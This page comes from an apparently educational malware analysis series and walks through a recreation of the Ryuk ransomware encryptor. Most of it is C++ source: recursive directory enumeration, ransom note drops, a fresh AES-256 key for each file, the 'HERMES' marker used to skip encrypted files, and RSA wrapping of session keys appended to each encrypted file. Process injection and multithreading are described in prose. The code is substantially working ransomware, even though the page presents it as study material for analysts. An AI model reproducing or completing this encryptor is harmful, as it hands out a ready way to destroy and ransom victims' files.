MalwareAnalysisSeries

This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

Ryuk Ransomware: Encrypter

Ryuk Ransomware Image

This is the emulation of infamous RYUK ransomware encryptor. It uses same behavior, set of API calls and technique to encrypt files on the victim system. Every single file is encrypted with a different AES session key and appended as “file meta” at the end of encrypted file. In the meta the AES session key is appended after it is encrypted with Attacker’s public key. The keyword “HERMES” is the indicator of meta.

To test the malware:

Note: Extension is not changed as per RYUK behavior

Implementation

Importing Libraries

Ryuk encrypter uses Windows cryptographic libraries for its encryption mechanism. It uses crypt32 lib and CryptEncrypt API

#include <Wincrypt.h>
#pragma comment(lib, "Crypt32.lib")

File Enumeration

To enumerate and establish files for encryption, Ryuk ransomware uses basic file enumeration APIs FindFirstFileW and FindNextFileW. In my receation, I’ve simply used these in a while loop to enumerate files in the provided path. I have used the approach of recursive encryption. The function will call itself until it finds sub-directories and the function will pass the path to encrypt function if a file is found:

void Enumerator(const std::string& path)
{
    std::string search_path = path + "\\*.*";
    WIN32_FIND_DATA fd;
    HANDLE hFind = FindFirstFile(StringToWString(search_path).c_str(), &fd);
    if (hFind == INVALID_HANDLE_VALUE) {
        return;
    }
    do {
        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            if (strcmp(_bstr_t(fd.cFileName), ".") != 0 && strcmp(_bstr_t(fd.cFileName), "..") != 0) {
                // Recursively iterate subdirectory

                wstring ws(fd.cFileName);
                std::string str(ws.begin(), ws.end());

                std::string sub_path = path + "\\" + str;
                Enumerator(sub_path); //Recursively calls itself
                leaveNote(sub_path); //Leave ransome note
            }
        }
        else {
            // File found
            std::string fileName = bstr_to_str(_bstr_t(fd.cFileName));
            std::string str = path + "\\" + fileName;

            if (checkExtension(fileName)) 
            {
                encrypt(str);
            }
            else
            {
                continue;
            }
            
        }
    } while (FindNextFile(hFind, &fd) != 0);
     FindClose(hFind);
}

Initiate Crypter

Ryuk uses AES-256 encryption algorithm. It also uses RSA public key (attacker’s key) embedded inside the malware to encrypt the AES-256 session key. To initiate the crypter, cryptographic context must be acquired for both AES and RSA algorithms. First we, need to generate AES key. Since according to RYUK’s logic each file is encrypted with a different AES key therefore, we have to generate key each time for a new file.

// Acquire a cryptographic context
if (!CryptAcquireContext(&cparams.hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
    std::cerr << "Failed to acquire cryptographic context" << std::endl;
    return -1;
}

// Generate an encryption key
if (!CryptGenKey(cparams.hCryptProv, CALG_AES_256, CRYPT_EXPORTABLE, &cparams.hKey)) {
    CryptReleaseContext(cparams.hCryptProv, 0);
    handleError("Failed to generate key");
    return -1;
}

// Get the block size for the algorithm
DWORD dwDataLen = sizeof(DWORD);
if (!CryptGetKeyParam(cparams.hKey, KP_BLOCKLEN, (BYTE*)&cparams.blockSize, &dwDataLen, 0)) {
    CryptDestroyKey(cparams.hKey);
    CryptReleaseContext(cparams.hCryptProv, 0);
    handleError("Failed to get block size");
}

Encrypt File

Ryuk doesn’t add extensions to the files after encryption. It has another way of finding weather a file is encrypted or not. It basically appends its meta data at the end of each file with the starting keyword HERMES (because RYUK is the evolution of HERMES ransowmare). So if a file contains this keyword, it means ryuk has already encrypted and skips the file.

// Open the input file
ifstream fin(inputFile, ios::binary | ios::ate);
if (!fin.is_open()) {
    return;
}

streampos size = fin.tellg();
vector<char> data(size);
fin.seekg(0, ios::beg);
fin.read(data.data(), size);
fin.close();

// check if HERMES is available
// Byte sequence to check: "HERMES"
std::vector<BYTE> targetBytes = { 0x48, 0x45, 0x52, 0x4D, 0x45, 0x53 };

// Check if data contains the target byte sequence
if (std::search(data.begin(), data.end(), targetBytes.begin(), targetBytes.end()) != data.end()) {
    //std::cout << "File Encrypted Already. Skipping !!!" << std::endl;
    return;
}
else {
    // Encrypt the data
    DWORD bufferSize = static_cast<DWORD>(size) + cparams.blockSize;
    vector<BYTE> encryptedData(bufferSize);
    memcpy(encryptedData.data(), data.data(), size);

    DWORD dwSize = static_cast<DWORD>(size);
    if (!CryptEncrypt(cparams.hKey, NULL, TRUE, 0, encryptedData.data(), &dwSize, bufferSize)) {
    //std::cout << "Encryption Failed !!!" << std::endl;
    return;

//Append META DATA at the end of file....!!!
}

Append Meta

In recreation process, appending meta data is the trickiest, because at the end of each file encryption process. I have to encrypt the Random generated AES key with attacker’s public key which repeats the same process as i did in MedusaLocker Ransomware, except this time i have to do it on each encryption:

bool appendMeta(vector<BYTE> encryptedData, CryptoParameters cparams, std::string inputFile)
{
    std::vector<BYTE> publicKeyBytes;
    DWORD publicKeySize = 0;
    if (!CryptStringToBinaryA(cparams.publicKey.c_str(), 0, CRYPT_STRING_BASE64, NULL, &publicKeySize, NULL, NULL)) {
        CryptReleaseContext(cparams.hCryptProv, 0);
        //handleError("Error appending meta");
    }
    publicKeyBytes.resize(publicKeySize);
    if (!CryptStringToBinaryA(cparams.publicKey.c_str(), 0, CRYPT_STRING_BASE64, publicKeyBytes.data(), &publicKeySize, NULL, NULL)) {
        CryptReleaseContext(cparams.hCryptProv, 0);
        //handleError("Error appending meta");
    }

    HCRYPTKEY phKey = NULL;
    if (!CryptImportKey(cparams.hCryptProv, publicKeyBytes.data(), publicKeySize, 0, 0, &phKey)) {
        CryptDestroyKey(phKey);
        CryptDestroyKey(cparams.hKey);
        CryptReleaseContext(cparams.hCryptProv, 0);
        //handleError("Error importing key");
    }

    //Export AES key for encryption
    //Determine the size of the buffer needed for the exported key
    DWORD dwBufSizeAES = 0;
    if (!CryptExportKey(cparams.hKey, NULL, PLAINTEXTKEYBLOB, NULL, NULL, &dwBufSizeAES))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(cparams.hKey);
        CryptReleaseContext(cparams.hCryptProv, 0);
        //handleError("Error determining key buffer size");
        return false;
    }

    // Allocate a buffer for the exported key
    std::vector<BYTE> pbAesKey(dwBufSizeAES, 0);

    // Export the key to the buffer
    if (!CryptExportKey(cparams.hKey, NULL, PLAINTEXTKEYBLOB, NULL, pbAesKey.data(), &dwBufSizeAES))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(cparams.hKey);
        CryptReleaseContext(cparams.hCryptProv, 0);
        //handleError("Error exporting key");
        return false;
    }

    //Encrypt AES key with RSA public key
    //Determine the size of the buffer needed for the encrypted key
    DWORD dwBufSize = 0;
    if (!CryptEncrypt(phKey, NULL, TRUE, 0, NULL, &dwBufSize, 0))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(cparams.hKey);
        CryptReleaseContext(cparams.hCryptProv, 0);
        //handleError("Error determining encrypted buffer size");
        return false;
    }
    
    //PBYTE pbEncryptedKey = (PBYTE)malloc(dwBufSize);
    std::vector<BYTE> pbEncryptedKey(dwBufSize, 0);

    // Encrypt the AES key with RSA-OAEP padding
    memcpy(pbEncryptedKey.data(), pbAesKey.data(), dwBufSize);
    if (!CryptEncrypt(phKey, NULL, TRUE, 0, pbEncryptedKey.data(), &dwBufSizeAES, dwBufSize))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(cparams.hKey);
        CryptReleaseContext(cparams.hCryptProv, 0);
        //handleError("Error encrypting AES key");
        return false;
    }

    // RYUK ransomware identifies its encrypted files with keyword HERMES appended at the end of each encrypted file. After the keyword HERMES, the meta of file is appended which is basically an encrypted AES session key with Attacker's public key... !!!
    // String to prepend: "HERMES"
    std::string prependString = "SEMREH";

    // Convert ASCII string to bytes and prepend to pbEncryptedKey
    for (char ch : prependString) {
        pbEncryptedKey.insert(pbEncryptedKey.begin(), static_cast<BYTE>(ch));
    }

    // Append pbEncryptedKey to encryptedData
    encryptedData.insert(encryptedData.end(), pbEncryptedKey.begin(), pbEncryptedKey.end());

    // Write the encrypted data to the output file
    ofstream fout(inputFile, ios::binary);
    if (!fout.is_open()) {
        return false;
    }

    DWORD dwSize = static_cast<DWORD>(encryptedData.size());
    if (!fout.write(reinterpret_cast<char*>(encryptedData.data()), dwSize))
    {        
        return false;
    }

    fout.close();
    return true;
}

I use different methods for each step used for crypter therefore to pass data between different methods/functions i need an organized way therefore i created a structure called CryptoParameters and with this i can easily send cryptographic parameters back & forth to each method.

struct CryptoParameters {
    DWORD blockSize = NULL;
    HCRYPTKEY hKey = NULL;
    HCRYPTPROV hCryptProv = NULL;
    std::string publicKey = "";
};

Other than this, i have also included multi-threading, following Ryuk’s behavior. Each file encryption process is passed to a separate async thread for fast encryption. Another cool thing about Ryuk ransomware is that, it injects instances of itself in most of the running processes, which means the encryption process is multiplied with each infected process and overall speed is boosted.

Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

The artifacts and code of this repository is intended for Educational purposes only!